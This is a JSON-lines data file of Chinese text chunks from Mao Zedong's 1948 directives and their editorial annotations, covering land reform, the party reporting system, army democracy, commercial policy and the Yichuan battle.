    {"text": "在解放战争时期，中国共产党采取了征收富农多余的土地和财产分给农民的政策，从而满足了广大贫雇农的要求，保证了人民解放战争的胜利。 随着战争的胜利发展，在一九四八年二月，中共中央规定在新解放区实行土地改革的新政策，即将新区土地改革分为两个阶段，在第一阶段，中立富农，专门打击地主，首先是打击大地主； 第二阶段，在平分地主土地的时候，也分配富农出租和多余的土地，但是对待富农和对待地主仍然有所区别（见本卷《新解放区土地改革要点》）。 在中华人民共和国成立以后，中央人民政府在一九五〇年六月发布土地改革法，规定在土地改革中对富农只征收其出租的土地的一部或全部，对富农的其他土地和财产则予以保护。"},
    {"text": "〔12〕 在人民解放战争初期，有一些民主人士幻想在国民党的大地主、大资产阶级专政和中国共产党领导的人民民主专政之外，另找所谓第三条道路。"},
    {"text": "〔13〕 共产党和工人党情报局，是一九四七年九月在波兰华沙举行的保加利亚、罗马尼亚、匈牙利、波兰、苏联、法国、捷克斯洛伐克、意大利、南斯拉夫等九国共产党和工人党代表会议上通过成立的。"},
    {"text": "毛泽东在这里所说情报局发表的号召全世界人民起来反对帝国主义奴役计划的檄文，是指情报局一九四七年九月的会议通过的《关于国际形势的宣言》。"},
    {"text": "关于建立报告制度 关于建立报告制度 * （一九四八年一月七日） 为了及时反映情况，使中央有可能在事先或事后帮助各地不犯或少犯错误，争取革命战争更加伟大的胜利起见，从今年起，规定如下的报告制度。 （一）各中央局和分局，由书记负责（自己动手，不要秘书代劳），每两个月，向中央和中央主席作一次综合报告。报告内容包括该区军事、政治、土地改革、整党、经济、宣传和文化等各项活动的动态，活动中发生的问题和倾向，对于这些问题和倾向的解决方法。报告文字每次一千字左右为限，除特殊情况外，至多不要超过两千字。一次不能写完全部问题时，分两次写。或一次着重写几个问题，对其余问题则不着重写，只略带几笔；另一次，则着重写其余问题，而对上次着重写过的只略带几笔。综合报告内容要扼要，文字要简练，要指出问题或争论之所在。写发综合报告的日期是单月的上旬，报告用电报发来。这是各中央局、分局书记个人负责向中央和中央主席作的经常性的报告和请示。书记在前线指挥作战时，除自己报告外，指定代理书记或副书记作后方活动的报告。此外，各中央局和分局向中央所作的临时性的报告和请示，照过去一样，不在此内。 我们所以规定这项政策性的经常的综合的报告和请示的制度，是因为党的第七次全国代表大会以后，仍然有一些（不是一切）中央局和分局的同志，不认识事先或事后向中央作报告并请求指示的必要和重要性，或仅仅作了一些技术性的报告和请示，以致中央不明了或者不充分明了他们重要的（不是次要的或技术性的）活动和政策的内容，因而发生了某些不可挽救的、或难以挽救的、或能够挽救但已受了损失的事情。而那些事前请示、事后报告的中央局或分局，则避免了或减少了这样的损失。从今年起，全党各级领导机关，必须改正对上级事前不请示、事后不报告的不良习惯。各中央局和分局是受中央委任、代表中央执行其所委托的任务的机关，必须同中央发生最密切的联系。各省委或区党委，同各中央局和分局也须密切联系。当此革命已进入新的高潮时期，加强此种联系，极为必要。 （二）各野战军首长和军区首长，除作战方针必须随时报告和请示，并且照过去规定，每月作一次战绩报告、损耗报告和实力报告外，从今年起，每两个月要作一次政策性的综合报告和请示。此项报告和请示的内容是：关于该军纪律，物质生活，指战员情绪，指战员中发生的偏向，克服偏向的方法，技术、战术进步或退步的情况，敌军的长处、短处和士气高低，我军政治工作的情况，我军对土地政策、城市政策、俘虏政策的执行情况和克服偏向的方法，军民关系和各阶层人民的动向等。此项报告的字数、写作方法以及发报时间，和各中央局、分局报告的办法相同。如规定的写报告时间（逢单月的上旬）恰在作战紧张的时候，则可提前或推迟若干天，但须申明原因。其中关于政治工作部分，由该军政治部主任起草，经司令员、政治委员审查修改，并且共同署名。报告用电报发给军委主席。我们规定此项政策性综合报告的理由，和上述中央局、分局应作综合报告的理由相同。 注 释 * 这是毛泽东为中共中央起草的对党内的指示。这个指示中所规定的报告制度，是中共中央坚持民主集中制、反对无纪律无政府倾向的长期斗争在新条件下的一个发展。这个问题在这时之所以特别重要，是因为革命形势已经有了极大的进展，许多解放区已经连成一片，许多城市已经解放或者即将解放，人民解放军和人民解放战争的正规性程度大为提高，全国胜利已经在望。这种情况，要求党迅速克服存在于党内和军队内的任何无纪律无政府状态，把一切必须和可能集中的权力集中于中央。建立严格的报告制度，就是中共中央为此目的而采取的一个重要步骤。关于这个问题，参看本卷《一九四八年的土地改革工作和整党工作》的第六部分和《中共中央关于九月会议的通知》的第四点。"},
    {"text": "关于目前党的政策中的几个重要问题 关于目前党的政策中 的几个重要问题 * （一九四八年一月十八日） 一 党内反对错误倾向问题 反对对敌人的力量估计过高。"},
    {"text": "但是在每一个局部上，在每一个具体斗争问题上（不论是军事的、政治的、经济的或思想的斗争），却又决不可轻视敌人，相反，应当重视敌人，集中全力作战，方能取得胜利。 当着我们正确地指出在全体上，在战略上，应当轻视敌人的时候，却决不可在每一个局部上，在每一个具体问题上，也轻视敌人。"},
    {"text": "如果我们在每一个局部上，在每一个具体问题上，不采取谨慎态度，不讲究斗争艺术，不集中全力作战，不注意争取一切应当争取的同盟者（中农，独立工商业者，中产阶级，学生、教员、教授和一般知识分子，一般公务人员，自由职业者和开明绅士），我们就要犯“左”倾机会主义错误。"},
    {"text": "二 土地改革和群众运动中的 几个具体政策问题 一、必须将贫雇农的利益和贫农团的带头作用，放在第一位。 我党必须经过贫雇农发动土地改革，必须使贫雇农在农会中在乡村政权中起带头作用，这种带头作用即是团结中农和自己一道行动，而不是抛弃中农由贫雇农包办一切。"},
    {"text": "在乡村，是雇农、贫农、中农和其他劳动人民联合一道，在共产党领导之下打江山坐江山，而不是单独贫雇农打江山坐江山。 在全国，是工人，农民（包括新富农），独立工商业者，被反动势力所压迫和损害的中小资本家，学生、教员、教授、一般知识分子，自由职业者，开明绅士，一般公务人员，被压迫的少数民族和海外华侨，联合一道，在工人阶级（经过共产党）的领导之下，打江山坐江山，而不是少数人打江山坐江山。"},
    {"text": "对中农和其他阶层订错了成分的，应一律改正，分了的东西应尽可能退还。 在农民代表中、农民委员会中排斥中农的倾向和在土地改革斗争中将贫雇农同中农对立起来的倾向，必须纠正。"},
    {"text": "这种应当没收的工商业，凡属有益于国民经济的，在国家和人民接收过来之后，必须使其继续营业，不得分散或停闭。 对于一切有益于国民经济的工商业征收营业税，必须以不妨碍其发展为限度。"},
    {"text": "中国学生运动和革命斗争的经验证明，学生、教员、教授、科学工作者、艺术工作者和一般知识分子的绝大多数，是可以参加革命或者保持中立的，坚决的反革命分子只占极少数。"},
    {"text": "对于过去混进我政权机关中来、实际上一贯是坏人、对人民并无好处而为广大群众所极端痛恨者，则照一般处理恶霸分子的办法交由人民法庭审处。"},
    {"text": "平分土地时，对于老解放区的新富农，照富裕中农待遇，不得本人同意，不能平分其土地。 七、地主富农在老解放区减租减息时期改变生活方式，地主转入劳动满五年以上，富农降为中贫农满三年以上者，如果表现良好，即可依其现在状况改变成分。"},
    {"text": "八、土地改革的中心是平分封建阶级的土地及其粮食、牲畜、农具等财产（富农只拿出其多余部分），不应过分强调斗地财 〔2〕 ，尤其不应在斗地财上耗费很长时间，妨碍主要工作。"},
    {"text": "九、对待地主和对待富农必须依照土地法大纲 〔3〕 加以区别。 十、对大、中、小地主，对地主富农中的恶霸和非恶霸，在平分土地的原则下，也应有所区别。"},
    {"text": "十一、极少数真正罪大恶极分子经人民法庭认真审讯判决，并经一定政府机关（县级或分区一级所组织的委员会）批准枪决予以公布，这是完全必要的革命秩序。"},
    {"text": "土地法大纲上规定的经过人民法庭审讯判决的这一斗争方式，必须认真实行，它是农民群众打击最坏的地主富农分子的有力武器，又可免犯乱打乱杀的错误。 应在适当时机（在土地斗争达到高潮之后），教育群众懂得自己的远大利益，要把一切不是坚决破坏战争、坚决破坏土地改革，而在全国数以千万计（在全国约三亿六千万乡村人口中占有约三千六百万之多）的地主富农，看作是国家的劳动力，而加以保存和改造。"},
    {"text": "应当宣布，群众不但有权对他们放手批评，而且有权在必要时将他们撤职，或建议撤职，或建议开除党籍，直至将其中最坏的分子送交人民法庭审处。"},
    {"text": "所谓人民大众，是包括工人阶级、农民阶级、城市小资产阶级、被帝国主义和国民党反动政权及其所代表的官僚资产阶级（大资产阶级）和地主阶级所压迫和损害的民族资产阶级，而以工人、农民（兵士主要是穿军服的农民）和其他劳动人民为主体。 这个人民大众组成自己的国家（中华人民共和国）并建立代表国家的政府（中华人民共和国的中央政府），工人阶级经过自己的先锋队中国共产党实现对于人民大众的国家及其政府的领导。"},
    {"text": "三、现在时期，在乡村中可以而且应当依据农民的要求，召集乡村农民大会选举乡村政府，召集区农民代表大会选举区政府。 县、市和县市以上的政府，因其不但代表乡村的农民，而且代表市镇、县城、省城和大工商业都市的各阶层各职业人民，就应召集县的、市的、省的或边区的人民代表大会，选举各级政府。"},
    {"text": "四 在革命统一战线中领导者 和被领导者的关系问题 领导的阶级和政党，要实现自己对于被领导的阶级、阶层、政党和人民团体的领导，必须具备两个条件：（甲）率领被领导者（同盟者）向着共同敌人作坚决的斗争，并取得胜利；"},
    {"text": "军队内部的民主运动 军队内部的民主运动 * （一九四八年一月三十日） 部队内部政治工作方针，是放手发动士兵群众、指挥员和一切工作人员，通过集中领导下的民主运动，达到政治上高度团结、生活上获得改善、军事上提高技术和战术的三大目的。目前在我军部队中热烈进行的三查、三整 〔1〕 ，就是用政治民主、经济民主的方法，达到前两项目的。 关于经济民主，必须使士兵选出的代表有权协助（不是超过）连队首长管理连队的给养和伙食。 关于军事民主，必须在练兵时实行官兵互教，兵兵互教；在作战时，实行在火线上连队开各种大、小会，在连队首长指导下，发动士兵群众讨论如何攻克敌阵，如何完成战斗任务。在连续几天的战斗中，此种会应开几次。此项军事民主，在陕北蟠龙战役 〔2〕 和晋察冀石家庄战役 〔3〕 中，都实行了，收到了极大效果。证明只有好处，毫无害处。 应当使士兵群众对于干部中的坏分子有揭发其错误和罪恶的权利。应当相信，士兵对于一切好的和较好的干部是不会不加爱护的。同时，应当使士兵在必要时，有从士兵群众中推选他们相信的下级干部候选人员、以待上级委任的权利。在下级干部极端缺乏的时候，这种推选很有用处。但是这种推选不是普遍的推选，而是某些必要时的推选。 注 释 * 这是毛泽东为中共中央军事委员会起草的对党内的指示。 〔1〕 三查、三整，是中国共产党在人民解放战争时期，结合土地改革所进行的整党整军的一个重要运动。三查，在地方上是指查阶级、查思想、查作风；在部队中是指查阶级、查工作、查斗志。三整，是指整顿组织、整顿思想、整顿作风。 〔2〕 蟠龙是位于延安东北的一个市镇。一九四七年五月，人民解放军西北野战部队在蟠龙全歼国民党军胡宗南部守军六千七百余人，并缴获大量武器、装备和给养。 〔3〕 石家庄战役是一九四七年十一月六日至十二日人民解放军晋察冀野战军和地方武装一部在石家庄向国民党军发起的一次攻坚战役。这次战役共歼灭国民党军二万四千余人，解放了石家庄，并使晋察冀和晋冀鲁豫两大解放区连成一片，开创了人民解放军夺取大城市的先例。 在不同地区实施土地法的不同策略 在不同地区 实施土地法的不同策略 * （一九四八年二月三日） 关于土地法 〔1〕 的实施，应当分三种地区，采取不同策略。 一、日本投降以前的老解放区。这种地区大体上早已分配土地，只须调整一部分土地。这种地区的工作中心，应当是按照平山经验 〔2〕 ，用党内党外结合的方法整理党的队伍，解决党同群众间的矛盾。在这种老区，不是照土地法再来分配一次土地，也不是人为地、勉强地组织贫农团去领导农会，而是在农会中组织贫农小组。这种小组的积极分子，可以担负农会和农村政权中的领导工作，但是不应当排斥中农，规定一定由贫农做领导工作。这种地区的农会和农村政权的领导工作，应当由贫农和中农中思想正确、办事公道的积极分子去做。在这种地区，过去的贫农大多数已升为中农，中农已占乡村人口的大多数，所以必须吸收中农中的积极分子参加农村的领导工作。 二、日本投降至大反攻，即一九四五年九月至一九四七年八月两年内所解放的地区。这种地区，占现在解放区的绝大部分，可称为半老区。在这种地区，经过两年清算斗争，经过执行《五四指示》 〔3〕 ，群众的觉悟程度和组织程度已经相当提高，土地问题已经初步解决。但群众觉悟程度和组织程度尚不是很高，土地问题尚未彻底解决。这种地区，完全适用土地法，普遍地彻底地分配土地，并且应当准备一次分不好再分第二次，还要复查一、二次。这种地区，中农占少数，并且是观望的。贫农占大多数，积极要求土地。因此，必须组织贫农团，必须确定贫农团在农会中、在农村政权中的领导地位。 三、大反攻后新解放的地区。这种地区，群众尚未发动，国民党和地主、富农的势力还很大，我们一切尚无基础。因此，不应当企图一下实行土地法，而应当分两个阶段实行土地法。第一阶段，中立富农，专门打击地主。在这个阶段中，又要分为宣传，做初步组织工作，分大地主浮财 〔4〕 ，分大、中地主土地和照顾小地主等项步骤，然后进到分配地主阶级的土地。在这个阶段中，应当组织贫农团，作为领导骨干，还可组织以贫农为主体的农会（可称为农民协会）。第二阶段，将富农出租和多余的土地及其一部分财产拿来分配，并对前一阶段中分配地主土地尚不彻底的部分进行分配。第一阶段，大约须有两年时间；第二阶段，须有一年时间。太急了，必办不好。老区和半老区的土地改革和整党，也须有三年时间（从今年一月算起），太急了，也办不好。 注 释 * 这是毛泽东给刘少奇的一封电报。 〔1〕 土地法，指《中国土地法大纲》。见本卷《目前形势和我们的任务》注〔7〕。 〔2〕 平山县在河北省西部，当时属于晋察冀解放区。这里说的平山经验，是指该县在土地改革运动中，采取邀请党外群众列席党支部会议的方式，整顿党在农村的基层组织的经验。 〔3〕 即中共中央一九四六年五月四日发出的《关于土地问题的指示》，见本卷《三个月总结》注〔5〕。 〔4〕 浮财，指粮食、金钱、衣服、什物等动产。"},
    {"text": "纠正土地改革宣传中的“左”倾错误 纠正土地改革宣传中的 “左”倾错误 * （一九四八年二月十一日） 最近几个月中，许多地方的通讯社和报纸，不加选择地没有分析地传播了许多包含“左”倾错误偏向的不健全的通讯或文章。例如： 一、不是宣传依靠贫雇农，巩固地联合中农，消灭封建制度的路线，而是孤立地宣传贫雇农路线。不是宣传无产阶级联合一切劳动人民、受压迫的民族资产阶级、知识分子和其他爱国分子（其中包括不反对土地改革的开明绅士），推翻帝国主义、封建主义和官僚资本主义的统治，建立中华人民共和国和人民民主政府，而是孤立地宣传所谓贫雇农打江山坐江山，或者说民主政府只是农民的政府，或者说民主政府只应该听工人和贫雇农的意见，而对中农，对独立劳动者，对民族资产阶级，对知识分子等，则一概不提。这是严重的原则性的错误。而我们的通讯社、报纸或广播电台竟将这类通讯发表。各地党委宣传部，对于此类错误竟没有任何的反映。此类宣传，在过去几个月中虽然不是普遍的，但是相当多，以致造成了一种空气，使人们误认为似乎这是正确的领导思想。甚至因为陕北广播电台播发了某些不正确的新闻，人们竟误认为这是被中央认可的意见。 二、在整党问题上，关于既反对忽视成分、又反对唯成分论的宣传，有些地区不够有力，甚至有唯成分论的错误宣传。 三、在土地改革问题上，关于既反对观望不前、又反对急性病的宣传，有些地区是抓紧了；但在许多地区却助长急性病，甚至发表赞扬急性病的东西。在领导者和群众的关系问题上，关于既反对命令主义、又反对尾巴主义的宣传，有些地区是注意了；但在许多地区却错误地强调所谓“群众要怎样办就怎样办”，迁就群众中的错误意见。甚至对于并非群众的、而只是少数人的错误意见，也无批判地接受。否定了党的领导作用，助长了尾巴主义。 四、在工商业和工人运动的方针上，对于某些解放区存在着的严重的“左”的倾向，或者加以赞扬，或者熟视无睹。 总之，过去几个月的宣传工作，正确地反映和指导了战争、土地改革、整党、生产、支援前线这些伟大斗争，帮助了这些斗争取得了伟大成绩，并且在宣传工作中占着主要成分，这是必须首先承认的。但是也必须看到一些错误缺点。其特点就是过左。其中有些是完全违背马克思列宁主义原则立场和完全脱离中央路线的。望各中央局、中央分局及其宣传部，新华总社和各地总分社，以及各地报纸的工作同志们，根据马克思列宁主义原则和中央路线，对过去几个月的宣传工作，加以检查，发扬成绩，纠正错误，务使对于战争、土地改革、整党、工人运动这些伟大的斗争，对于这一整个反帝反封建的革命，保障其获得胜利。这种检查，责成各地党委宣传部和新华总社负主要责任，并将结果用自己的名义写一个政策性的报告给中央宣传部。 注 释 * 这是毛泽东为中共中央起草的对党内的指示。 新解放区土地改革要点 新解放区土地改革要点 * （一九四八年二月十五日） 一、不要性急，应依环境、群众觉悟程度和领导干部强弱决定土地改革工作进行的速度。不要企图在几个月内完成土地改革，而应准备在两三年内完成全区的土地改革。这点在老区和半老区亦是如此。 二、新区土地改革应分两个阶段。第一阶段，打击地主，中立富农。又要分几个步骤：首先打击大地主，然后打击其他地主。对于恶霸和非恶霸，对于大、中、小地主，在待遇上要有区别。第二阶段，平分土地，包括富农出租和多余的土地在内。但在待遇上，对待富农应同对待地主有所区别。总的打击面，一般不能超过户数百分之八，人口百分之十。在区别待遇和总的打击面上，半老区亦是如此。老区一般只是填平补齐 〔1〕 工作，不发生此项问题。 三、先组织贫农团，几个月后，再组织农民协会。严禁地主富农分子混入农民协会和贫农团。贫农团积极分子应作为农民协会的领导骨干，但必须吸引一部分中农积极分子参加农民协会的委员会。在土地改革斗争中，必须吸引中农参加，并照顾中农利益。 四、不要全面动手，而应选择强的干部在若干地点先做，取得经验，逐步推广，波浪式地向前发展。在整个战略区是如此，在一个县内也是如此。这在老区、半老区都应如此。 五、分别巩固区和游击区。在巩固区逐步进行土地改革。在游击区只作宣传工作和荫蔽的组织工作，分发若干浮财。不要公开成立群众团体，不要进行土地改革，以防敌人摧残群众。 六、反动的地主武装组织和特务组织，必须消灭，不能利用。 七、反动分子必须镇压，但是必须严禁乱杀，杀人愈少愈好。死刑案件应由县一级组织委员会审查批准。政治嫌疑案件的审判处理权，属于区党委一级的委员会。此点老区半老区都适用。 八、应当利用地主富农家庭出身但是赞成土地改革的本地的革命的知识分子和半知识分子，参加建立根据地的工作。但要加紧对于他们的教育，防止他们把持权力，妨碍土地改革。一般不宜要他们在本区本乡办事。着重任用农民家庭出身的知识分子和半知识分子。 九、严格注意保护工商业。从长期观点筹划经济和财政。军队和区乡政府都要防止浪费。 注 释 * 这是毛泽东为中共中央起草的对党内的指示。 〔1〕 见本卷《迎接中国革命的新高潮》注〔10〕。"},
    {"text": "关于工商业政策 关于工商业政策 * （一九四八年二月二十七日） 一、某些地方的党组织违反党中央的工商业政策，造成严重破坏工商业的现象。对于这种错误，必须迅速加以纠正。这些地方的党委，在纠正这种错误的时候，必须从领导方针和领导方法两方面认真地进行检查。 二、在领导方针上。应当预先防止将农村中斗争地主富农、消灭封建势力的办法错误地应用于城市，将消灭地主富农的封建剥削和保护地主富农经营的工商业严格地加以区别，将发展生产、繁荣经济、公私兼顾、劳资两利的正确方针同片面的、狭隘的、实际上破坏工商业的、损害人民革命事业的所谓拥护工人福利的救济方针严格地加以区别。应当向工会同志和工人群众进行教育，使他们懂得，决不可只看到眼前的片面的福利而忘记了工人阶级的远大利益。应当引导工人和资本家在当地政府领导下，共同组织生产管理委员会，尽一切努力降低成本，增加生产，便利推销，达到公私兼顾、劳资两利、支援战争的目的。许多地方所犯的错误就是由于全部、大部或一部没有掌握上述方针而发生的。各中央局、分局应当明确提出此一问题，加以分析检查，定出正确方针，并分别发布党内指示和政府法令。 三、在领导方法上。方针决定了，指示发出了，中央局、分局必须同区党委、地委或自己派出的工作团，以电报、电话、车骑通讯、口头谈话等方法密切联系，并且利用报纸做为自己组织和领导工作的极为重要的工具。必须随时掌握工作进程，交流经验，纠正错误，不要等数月、半年以至一年后，才开总结会，算总账，总的纠正。这样损失太大，而随时纠正，损失较少。在通常情况下，各中央局和下面的联系必须力求密切，经常注意明确划清许做和不许做的事情的界限，随时提醒下面，使之少犯错误。这都是领导方法问题。 四、全党同志须知，现在敌人已经彻底孤立了，但是敌人的孤立并不就等于我们的胜利。我们如果在政策上犯了错误，还是不能取得胜利。具体说来，在战争、整党、土地改革、工商业和镇压反革命五个政策问题中，任何一个问题犯了原则的错误，不加改正，我们就会失败。政策是革命政党一切实际行动的出发点，并且表现于行动的过程和归宿。一个革命政党的任何行动都是实行政策。不是实行正确的政策，就是实行错误的政策；不是自觉地，就是盲目地实行某种政策。所谓经验，就是实行政策的过程和归宿。政策必须在人民实践中，也就是经验中，才能证明其正确与否，才能确定其正确和错误的程度。但是，人们的实践，特别是革命政党和革命群众的实践，没有不同这种或那种政策相联系的。因此，在每一行动之前，必须向党员和群众讲明我们按情况规定的政策。否则，党员和群众就会脱离我们政策的领导而盲目行动，执行错误的政策。 注 释 * 这是毛泽东为中共中央起草的对党内的指示。"},
    {"text": "关于民族资产阶级和开明绅士问题 关于民族资产阶级 和开明绅士问题 * （一九四八年三月一日） 中国现阶段革命的性质，是无产阶级领导的、人民大众的、反对帝国主义、反对封建主义和反对官僚资本主义的革命。"},
    {"text": "所谓人民大众，是指一切被帝国主义、封建主义、官僚资本主义所压迫、损害或限制的人们，也即是一九四七年十月中国人民解放军宣言上明确地指出的工、农、兵、学、商和其他一切爱国人士 〔1〕 。"},
    {"text": "中国现阶段革命的目的，是在推翻帝国主义、封建主义、官僚资本主义的统治，建立一个以劳动者为主体的、人民大众的新民主主义共和国，不是一般地消灭资本主义。"},
    {"text": "例如晋绥边区的刘少白、陕甘宁边区的李鼎铭 〔2〕 等人，在抗日战争和抗日战争以后的困难时期内，曾经给我们以相当的帮助，而在我们实行土地改革的时候，他们又并不妨碍和反对土地改革，因此对他们仍应采取团结的政策。"},
    {"text": "我们今天的主要敌人是帝国主义、封建主义和官僚资本主义，我们今天同敌人作斗争的主要力量是占全国人口百分之九十的一切从事体力劳动和脑力劳动的人民。"},
    {"text": "依附帝国主义、封建主义、官僚资本主义，反对人民民主革命的民族资产阶级的少数右翼分子，他们也是革命的敌人； 依附劳动人民反对反动派的民族资产阶级左翼分子以及从封建阶级分裂出来的少数开明绅士，他们也是革命者。"},
    {"text": "但是因为他们在经济上具有重要性，又因为他们可以参加反对美蒋，或者在反对美蒋的斗争中采取中立的态度，因之我们便有可能和必要去团结他们。"},
    {"text": "这个阶级曾经参加了一九二四年到一九二七年的革命运动，而在一九二七年到一九三一年（九一八事变以前），他们中间的不少分子，曾经附和了蒋介石的反动。"},
    {"text": "在现阶段，民族资产阶级的多数是增长了对美蒋的仇恨，他们中间的左翼分子依附于共产党，右翼分子则依附于国民党，其中间派则在国共两党之间采取犹豫和观望的态度。"},
    {"text": "我们团结他们，并不是因为他们在政治上有什么大的力量，也不是因为他们在经济上有什么重要性（他们根据封建制度占有的土地，应当在取得他们同意之后交给农民分配），而是因为他们在抗日战争时期，在反美蒋斗争时期，在政治上曾经给我们以相当的帮助。"},
    {"text": "特别是对于争取全国的知识分子（中国的知识分子大部分是地主富农的家庭出身），对于争取全国的民族资产阶级（中国的民族资产阶级大部分同土地有联系），对于争取全国的开明绅士（大约有几十万人），以及对于孤立中国革命的主要敌人蒋介石反动派，都是有益的。"},
    {"text": "评西北大捷兼论解放军的新式整军运动 评西北大捷兼论解放军的 新式整军运动 * （一九四八年三月七日） 人民解放军总部发言人评西北人民解放军最近一次大捷称：这次胜利改变了西北的形势，并将影响中原的形势。"},
    {"text": "发言人说：这次西北人民解放军突然包围宜川敌军一个旅，胡宗南令其二十九军军长刘戡，率领两个整编师的四个旅，即整编二十七师之三十一旅、四十七旅，整编九十师之五十三旅、六十一旅共约二万四千余人，由洛川、宜君一线向宜川驰援，于二十八日到达宜川西南地区。 西北人民解放军发起歼灭战，经过二十九日至三月一日三十小时的战斗，即将该部援军全部歼灭，无一漏网。"},
    {"text": "发言人分析西北战场的形势说：胡宗南直接指挥的所谓“中央军”二十八个旅中，有八个旅属于三个主力师，即整编第一师、整编三十六师和整编九十师，其中整编第一师之第一旅，前年九月在晋南浮山被我歼灭一次，其一六七旅主力，去年五月在陕北蟠龙镇被我歼灭一次，整编三十六师之一二三旅、一六五旅，于去年八月在陕北米脂沙家店被我歼灭一次，这次整编九十师又被全歼，剩下的胡军主力，就只有整编第一师的七十八旅和整编三十六师的二十八旅，还没有受到过歼灭。"},
    {"text": "经过此次宜川歼灭战，胡宗南过去直接指挥的正规兵力二十八个旅，现在只剩下二十三个旅，这二十三个旅分布在下列地区：晋南临汾一个旅，已成死棋；"},
    {"text": "我西北人民解放军在此次向南进攻中，旗开得胜，声威大震，改变了西北敌我对比的形势，今后将比过去更有效力地同南线各战场的人民解放军配合作战。 发言人说：我刘邓、陈粟、陈谢三路野战大军，从去年夏秋起渡河南进，纵横驰骋于江淮河汉之间，歼灭大量敌人，调动和吸引蒋军南线全部兵力一百六十多个旅中约九十个旅左右于自己的周围，迫使蒋军处于被动地位，起了决定性的战略作用，获得全国人民的称赞 〔2〕 。"},
    {"text": "我东北野战军在冬季攻势中，冒零下三十度的严寒，歼灭大部敌人，迭克名城，威震全国 〔3〕 。 我晋察冀、山东、苏北和晋冀鲁豫各路野战军，都在去年英勇作战大量歼敌 〔4〕 之后，完成了冬季整训，不日又将展开春季攻势作战 〔5〕 。"},
    {"text": "总观全局，说明了一个真理，就是只要坚决反对保守主义，反对惧怕敌人，反对惧怕困难，依照党中央的战略总方针及其十大军事原则的指示 〔6〕 ，我们就能展开进攻，大量歼灭敌人；"},
    {"text": "此次胜利如此显著，原因甚多，前线领导同志们的坚决的、灵活的指挥，后方领导同志们和广大人民的努力协助，以及敌军比较孤立，地形有利于我等项，都是应当指出的。"},
    {"text": "由于诉苦（诉旧社会和反动派所给予劳动人民之苦）和三查（查阶级、查工作、查斗志）运动的正确进行，大大提高了全军指战员为解放被剥削的劳动大众，为全国的土地改革，为消灭人民公敌蒋介石匪帮而战的觉悟性；"},
    {"text": "在这个基础上，部队的纯洁性提高了，纪律整顿了，群众性的练兵运动开展了，完全有领导地有秩序地在部队中进行的政治、经济、军事三方面的民主发扬了。"},
    {"text": "这种整军运动，同我党正确地进行着的整党运动、土地改革运动相结合，同我党缩小打击面，只反对帝国主义、封建主义和官僚资本主义，严禁乱打乱杀（杀人愈少愈好），坚决团结全国百分之九十以上人民大众的正确方针相结合，同我党实行正确的城市政策，坚决地保护和发展民族工商业的方针相结合，这样就必然会使人民解放军的威力无敌于天下。"},
    {"text": "这个新式整军运动是人民解放军政治工作和民主运动的一个重要发展，是当时全解放区轰轰烈烈的土地改革运动和整党运动在军队中的反映。 这个运动大大提高了全军官兵的政治觉悟、纪律性和战斗力，同时也极其有效地加速了把大批被俘国民党军队士兵改造为解放军战士的过程，对于人民解放军的巩固扩大和作战胜利起了重大的作用。 关于这个新式整军运动的意义，参看本卷《军队内部的民主运动》、《在晋绥干部会议上的讲话》、《中共中央关于九月会议的通知》等文。"},
    {"text": "〔2〕 晋冀鲁豫野战军司令员刘伯承、政治委员邓小平指挥的六个纵队，于一九四七年六月三十日起强渡黄河，向大别山进军，从而揭开了人民解放军战略进攻的序幕，先后建立了鄂豫、皖西、桐柏、江汉等根据地。 华东野战军司令员兼政治委员陈毅、副司令员粟裕指挥的主力部队，在打破了国民党军对山东重点进攻后，于一九四七年八月初挺进鲁西南，九月下旬进军豫皖苏边区，发展了豫皖苏解放区。 晋冀鲁豫野战军第四纵队司令员陈赓、政治委员谢富治指挥的两个纵队和一个军，一九四七年八月下旬经晋南强渡黄河，挺进豫西，建立了豫陕鄂、陕南等根据地。 截至一九四八年三月底，转战中原的三路大军共歼敌二十余万人，胜利地完成了开创中原新解放区的战略任务。 〔3〕 东北野战军司令员兼政治委员林彪、副政治委员罗荣桓指挥野战军主力，于一九四七年十二月十五日至一九四八年三月十五日，在四平街至大石桥的中长路沿线和山海关至沈阳的北宁路沿线，发动了空前规模的冬季攻势，连续作战九十天，歼灭国民党军十五万六千余人（其中营口守敌一个师起义），攻克敌军坚固设防的战略要点四平街和其他城市共十八座及重镇多处。"},
    {"text": "〔4〕 晋察冀军区司令员聂荣臻所领导的晋察冀野战军三个纵队和军区部队，于一九四七年九月初至十一月中旬，先后举行了大清河北、清风店和石家庄等战役，共歼敌四万六千余人，使晋察冀和晋冀鲁豫两解放区连成一片。 华东野战军所属四个纵队和地方武装在一九四七年九月至十二月间，在内线兵团司令员许世友、华东野战军副政治委员兼内线兵团政治委员谭震林等指挥下，进行了胶东战役，歼敌六万三千余人，收复了十余座县城，改变了整个山东战场的局面。 在苏北，华东野战军一部，在一九四七年八月至十二月间先后进行了盐（城）东（台）、李（堡）栟（茶）、盐（城）南等战役，共歼敌两万四千余人，收复了苏北广大地区。 晋冀鲁豫军区第一副司令员徐向前指挥晋冀鲁豫野战军一部，于一九四七年十二月协同西北野战军一部攻克运城，歼敌一万三千余人，使临汾守敌陷于孤立。"},
    {"text": "晋察冀野战军以及晋冀鲁豫野战军和晋绥军区各一部，在三月至五月间，先后进行了察南绥东战役、临汾战役，共歼敌四万三千余人，收复了广大地区。 中原野战军、中原军区和华东野战军各一部，在三月八日至六月三日，先后发起了洛阳战役、宋河战役、宛西战役、宛东战役，共歼敌五万六千余人，粉碎了国民党军中原防御体系，发展和巩固了中原解放区。 华东野战军的山东兵团于三月十一日至五月八日，先后进行了胶济路西段战役和胶济路中段战役，共歼敌八万四千余人。"},
    {"text": "〔7〕 西北战场的人民解放军，是由彭德怀、贺龙、习仲勋等领导的陕甘宁解放区和晋绥解放区的人民解放军所组成的。 一九四七年春，彭德怀、习仲勋领导的参加陕北作战的西北野战兵团，为两个纵队又两个旅，共二万七千余人。"},
    {"text": "到一九四八年春，参加陕北作战的主力部队增加到五个纵队，七万五千余人，经过一年作战的锻炼和一九四七年冬至一九四八年初进行的新式整军运动以后，广大官兵的政治觉悟和部队的战斗力，也空前提高。"},
    {"text": "继宜川大捷之后，西北野战军于四月中旬发起西府（西安以西泾渭两河之间地区）、陇东战役，挺进泾水渭水间的广大地区，截断西兰公路，并且在四月二十一日收复延安。"},
    {"text": "关于情况的通报 关于情况的通报 * （一九四八年三月二十日） 一、最近几个月，中央集中全力解决在新形势下面关于土地改革方面、关于工商业方面、关于统一战线方面、关于整党方面、关于新区工作方面的各项具体的政策和策略的问题，反对党内右的和“左”的偏向，而主要是“左”的偏向。"},
